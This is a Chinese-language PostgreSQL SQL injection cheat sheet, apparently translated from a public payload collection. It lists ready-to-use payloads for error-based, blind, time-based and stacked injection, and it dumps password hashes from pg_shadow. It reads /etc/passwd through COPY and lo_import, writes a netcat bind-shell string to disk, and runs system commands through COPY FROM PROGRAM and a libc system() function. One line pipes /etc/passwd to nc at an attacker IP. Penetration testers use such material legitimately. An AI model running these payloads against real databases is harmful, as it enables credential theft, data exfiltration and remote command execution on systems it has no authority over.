作者	修订时间
	2023-07-05 21:37:29

PostgreSQL 注释

--
/**/

PostgreSQL 链注入点符号

; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
|| #or statement 

# usage examples: 
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))

PostgreSQL 版本

SELECT version()

PostgreSQL 当前用户

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

PostgreSQL 列表用户

SELECT usename FROM pg_user

PostgreSQL 列表密码哈希

SELECT usename, passwd FROM pg_shadow

PostgreSQL 列出数据库管理员帐户

SELECT usename FROM pg_user WHERE usesuper IS TRUE

PostgreSQL 列表权限

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

PostgreSQL 检查当前用户是否为超级用户

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

PostgreSQL 数据库名称

SELECT current_database()

PostgreSQL 列表数据库

SELECT datname FROM pg_database

PostgreSQL 列表表

SELECT table_name FROM information_schema.tables

PostgreSQL 列表列

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL 基于错误

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL 基于XML

select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

上面的 query_to_xml 将指定查询的所有结果作为单个结果返回。将其与PostgreSQL 基于错误技术相结合，以排除过滤数据，而不必担心 LIMIT 将查询返回一个结果。

select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

注意，对于上述查询，需要在内存中组装输出。对于较大的数据库，这可能会导致速度减慢或拒绝服务的情况。

PostgreSQL 基于盲注

' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

PostgreSQL 基于时间

确定基于时间的

select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

基于数据库转储时间

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

基于表转储时间

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

列转储基于时间

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL 堆叠查询

使用分号“；”添加另一个查询

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

PostgreSQL 文件读取

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

注意：早期版本的 Postgres 不接受 pg_read_file 或 pg_ls_dir 中的绝对路径。较新的版本（从this提交起）将允许读取超级用户或 default_role_read_server_files 组中的用户的任何文件/文件路径。

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL 文件写入

CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

或者作为一行：

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL 命令执行

2019 年 9 月 19 日

如果您可以直接访问数据库，则可以从Metasploit使用，否则您需要手动执行以下 SQL 查询。

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

使用 libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

旁通过滤器

报价

使用 CHR

SELECT CHR(65)||CHR(66)||CHR(67);

使用美元符号（>=PostgreSQL 版本 8）

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

05.PostgreSQL